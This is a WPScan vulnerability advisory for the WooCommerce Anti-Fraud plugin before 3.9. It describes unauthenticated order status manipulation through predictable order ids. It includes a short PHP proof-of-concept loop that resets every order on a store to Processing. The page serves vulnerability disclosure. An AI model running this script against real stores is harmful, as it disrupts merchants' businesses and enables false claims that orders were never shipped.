WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WooCommerce Anti-Fraud < 3.9 - Unauthenticated Order Status Manipulation

Description

The plugin is affected by an issue where an unauthenticated user could change the order status of any order to processing, as there were no checks when changing the order status. The order_id was also predictable.

On an individual level, if you have already received your order, you can set the order status back to Processing, which may have unintended consequences, such as being able to claim that your order has not been shipped yet.

On a bigger level, order ids can be looped from 1 to ++ and every order on the site can be set to Processing, requiring remediation by the owner before continuing business.

Proof of Concept

<?php
$site = "https://woocommerce-store-with-anti-fraud-installed.com";
for ($order_id = 1; $order_id <= PHP_INT_MAX; $order_id++) {
	$order_64 = base64_encode( $order_id );
	$url = "{$site}/?order_id={$order_64}&paypal_verification=true";
	$handle = fopen( $url, 'r' ); fclose( $handle );
}
 

Affects Plugins

woocommerce-anti-fraud
Fixed in version 3.9

References

URL
https://woocommerce.com/products/woocommerce-anti-fraud/
URL
https://dzv365zjfbd8v.cloudfront.net/changelogs/woocommerce-anti-fraud/changelog.txt

Classification

Type

AUTHBYPASS

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-287

Miscellaneous

Original Researcher

Brian Henry

Submitter

Brian Henry

Submitter website
http://BrianHenry.ie
Submitter twitter
BrianHenryIE
Verified

Yes

WPVDB ID
482ea84d-fc03-41dc-b698-327ffd9251b1

Timeline

Publicly Published

2020-11-22 (about 2 years ago)

Added

2020-11-23 (about 2 years ago)

Last Updated

2022-10-12 (about 3 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us